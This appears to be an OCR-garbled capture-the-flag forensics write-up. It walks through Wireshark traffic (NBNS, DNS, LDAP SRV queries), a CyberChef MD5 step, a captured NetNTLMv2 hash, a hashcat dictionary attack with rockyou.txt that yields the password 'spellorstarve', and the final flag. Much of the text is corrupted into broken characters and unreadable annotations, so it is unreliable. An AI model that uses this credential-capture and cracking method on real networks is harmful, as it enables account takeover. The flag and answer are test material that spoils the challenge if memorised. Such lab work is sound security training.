384 192.168.161.130 192.168.161.255 NBNS 92 Name query NB WPAD<©O>

153 fe80::9840:9be5:1a4c:.. ff02::c SSDP 208 M-SEARCH * HTTP/1.1

031 192.168.161.130 192.168.161.255 NBNS 92 Name query NB WPAD<@®@>

509 192.168.161.130 192.168.161.129  DNS 86 Standard query ©xa@de@ A download.windowsupdate.com

ﬂ(lﬁ 102 1AR 1A1 12Q 102 284 101 121 NN 112 €tandard niiarv OvARAA A fo downlnad windnuciindata rom ml.lrn:m)n v
Authority RRs: © ~| 6ooO6 00 Oc 29 f2 86 8c 00 OCc 29 a4 6
Additional RRs: © 0010 00 51 05 12 00 00 80 11 71 35 cl

v Queries 06020 al 81 c3 1b @0 35 00 3d 8b bd 7
v _1dap._tcp.WIN-GP726AF9QHQ. root.com: type SRV, class IN £o=0 g9 E) B EY
0040 57 49 4e

Name: _ldap._tcp.WIN-GP726AF9QHQ.root.com
[Name Length: 35]

[Label Count: 5]

Type: SRV (33) (Server Selection)

Class: IN (©x0001)

Response In: 67

< > < >

0050 72 6f 6f

@ 7 Query Name (dns.qry.name), 37 byte(s) \ $348: 872 - Displayed: 121 (13.9%) EE: Default
i _ start: 33 Joah: 57 -
Recipe BT  input ediz7 SV 4+ D) W&

length: 24 :
root.com8&@x0210844074ata7d98863c&WIN-GP726AF9QHQ. root .com
MD5 o n
time: 3ms a I— o e
length: 32
Output ZEle & 0 & HH
bd1fe8472dfeaddd53bedladbfécfbaf

SMB2Hi BRI, &7 secret.zipfl—#K&EAMjpg, hashcatiB—TFSBM2EIENER

1 hashcat -a 0 1l.hash rockyou.txt


http://win-gp726af9qhq.root.com/

1 STARVEN::192.168.11.20:9235e372a04717230:189bf0b02d2f766af2242dc455ad4fel:010100
0000000000calf069a8a09db01980131a51423d32d0OOOOOOOO2001e004400450053004b0054004
f0050002d00510032004200390044004900410001001e004400450053004b0054004f0050002d00
510032004200390044004900410004001e004400450053004b0054004f0050002d0051003200420
0390044004900410003001e004400450053004b0054004f0050002d005100320042003900440049
00410007000800calf069a8a09db010600040002000000080030003000OOOOOOOOOOOOO1OOOOOOO
020000044063d2e3ec53e332816d81a43ec5914e72ef2dc0599bfa08788e043eb523af80a001000
000000000000000000000000000OOEEO900240063006900660073002f003100390032002e00310
0360038002€00310031002e00320030000000000000000000: spellorstarve

spellorstarvefi#zipE Zlflag:

1 SYC{DOn7_spredd_St@rven's_s3crEt}



